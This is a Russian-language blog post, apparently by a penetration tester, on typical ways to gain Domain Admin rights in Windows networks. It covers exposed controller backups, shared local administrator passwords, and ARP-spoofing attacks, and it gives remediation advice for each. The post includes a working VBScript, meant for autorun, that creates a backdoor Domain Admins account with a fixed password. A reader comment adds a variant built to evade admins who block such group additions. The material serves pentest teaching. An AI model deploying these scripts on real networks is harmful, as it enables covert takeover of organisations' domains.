1. Безалаберность
На моей памяти зафиксировано уже несколько эпизодов, когда поднять привилегии в домене до уровня «Domain Admins» удается путем получения доступа к различным бэкапам контроллера домена:) В основном отрабатывают следующие вектора:
- Простой поиск по общим сетевым ресурсам
- Проблемы с Patch Management (яркий пример: использование уязвимой версии CA BrightStor ARCserve)
- Хранение System state контроллера домена на уязвимом standalone-сервере
- Использование брутабельных паролей на различных ресурсах сети
Рекомендации по закрытию вектора самые банальные: использовать «правильное» разграничение доступа, не хранить важные данные на серверах типа «файловых помоек», своевременно устанавливать обновления от производителей и использовать стойкие и не повторяющиеся пароли для доступа к информационным ресурсам.
2. Беспечность
В сетях с большим числом пользователей применяют механизмы простого и быстрого развертывания операционных систем на компьютерах конечных пользователей. Для этого используют заранее подготовленные образы операционных систем или возможности unattend-развертывания. И, как показывает распространенная практика, локальная учетная запись администратора на подобных компьютерах остается включенной после завершения установки операционной системы. Причем, чтобы не запутаться в паролях, на всех локальных учетных записях администраторов используется один и тот же пароль:) Безусловно, разделяют пароль для локального администратора клиентской операционной системы и серверной. А в некоторых случаях даже производят регулярную смену этого пароля, но порой даже эта мера не спасает системы от их компрометации. Уязвимость возникает в том случае, когда в SAM-базе операционной системы хранится LM-хеш от пароля локального администратора и используемый пароль не превышает 14-ти символов, либо используется брутабельный пароль на основе NTLM-хеша. Соответственно, добравшись до SAM-базы, становится возможным скомпрометировать большинство компьютеров в сети, в том числе рабочую станцию администратора домена, что фактически позволяет получить полный контроль над доменом.
Нужно добавить, что в доменной архитектуре локальная учетная запись не требуется. И даже будучи отключенной, она доступна при загрузке в безопасном режиме. Подробнее: support.microsoft.com
Другой пробиваемый вектор атаки заключается в том, что администраторы домена зачастую подключаются под привилегированной учетной записью на обслуживаемые ими сервера, в том числе и на тестовые, а порой даже для выполнения задач администрирования на пользовательских рабочих станциях. Таким образом, получив контроль над одним таким сервером или рабочей станцией, возможно, достаточно тривиально получить расширенные привилегии в домене.
Например, следующий сценарий на vbs, будучи помещенный в автозагрузку, создаст учетную запись «support1» с паролем «P@ssw0rd» в AD и поместит ее в группу «Domain Admins», если на компьютер в интерактивном режиме залогинится пользователь с соответствующими привилегиями.
On Error Resume Next
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)
If IsMember("Domain Admins") Then
Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext"))
Set objUser = objContainer.Create("User", "cn=support1")
objUser.Put "sAMAccountName", "support1"
objUser.SetInfo
objUser.SetPassword "P@ssw0rd"
objUser.Put "userAccountControl", 512
objUser.SetInfo
Set objGroup = GetObject ("LDAP://cn=Domain Admins, cn=Users," & objRoot.Get("defaultNamingContext"))
objGroup.PutEx 3, "member", Array("cn=support1, cn=Users," & objRoot.Get("defaultNamingContext"))
objGroup.SetInfo
End If
Function IsMember(strGroup)
Dim objGroupList
If IsEmpty(objGroupList) Then
Set objGroupList = CreateObject("Scripting.Dictionary")
objGroupList.CompareMode = vbTextCompare
For Each objGroup In objUser.Groups
objGroupList(objGroup.sAMAccountName) = True
Next
End If
IsMember = objGroupList.Exists(strGroup)
End Function
Рекомендации по закрытию вектора следующие: отключить локальную учетную запись администратора на всех доменных компьютерах, использовать учетные записи с пониженными привилегиями при выполнении задач администрирования, осуществлять мониторинг доступа к ресурсам, в том числе доступа к Active Directory (изменение членства групп, создание новых объектов и т.д.).
3. Незнание
Очень эффективным методом получения расширенных привилегий в домене при проведении внутреннего пентеста по-прежнему является атака MITM и банальный снифинг всего трафика. Первый вектор это, конечно же, ARP-spoofing при котором есть место и элегантным атакам. Например, при реализации вектора атаки возможно снизить уровень проверки подлинности SMB на более простой, что позволяет легко восстановить пароль по перехваченным значениям hashes/challenge. Также, при использовании уязвимого протокола RDP, существует возможность перехватить вводимый пароль в виде открытого текста:)
Второй вектор чаще всего реализуем после успешной атаки на сетевое оборудование (сеть на концентраторах уже уходит в прошлое). Например, атака на перевод порта коммутатора, к которому подключен ноутбук аудитора, в режим trunk, либо переконфигурирование оборудования через SNMP community.
Рекомендации по закрытию вектора: «грамотное» разделение сети на подсети (технологическую, пользовательскую и т.п.), настройка сетевого оборудования и Active Directory в соответствии с рекомендациями CIS, своевременная установка обновлений от производителей.
о скрипте на бейсике как то незадумывался, пасибки, все mitm да mitm, зацикливался :-)
ОтветитьУдалитьи его более правильная версия.... а то админы стали блочить добавление в domain admins:)
ОтветитьУдалитьOn Error Resume Next
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)
Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext"))
Set objUserCreate = objContainer.Create("User", "cn=positive")
objUserCreate.Put "sAMAccountName", "positive"
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.SetPassword "P@ssw0rd"
objUserCreate.Put "userAccountControl", 512
objUserCreate.SetInfo
On Error Resume Next
Member()
Function Member()
Dim objGroup
If IsEmpty(objGroupList) Then
Set objGroupList = CreateObject("Scripting.Dictionary")
objGroupList.CompareMode = vbTextCompare
For Each objGroup In objUser.Groups
'WScript.Echo objGroup.ADsPath
Set objGroupCreate = GetObject (objGroup.ADsPath)
objGroupCreate.PutEx 3, "member", Array("cn=positive, cn=Users," & objRoot.Get("defaultNamingContext"))
objGroupCreate.SetInfo
On Error Resume Next
Next
End If
End Function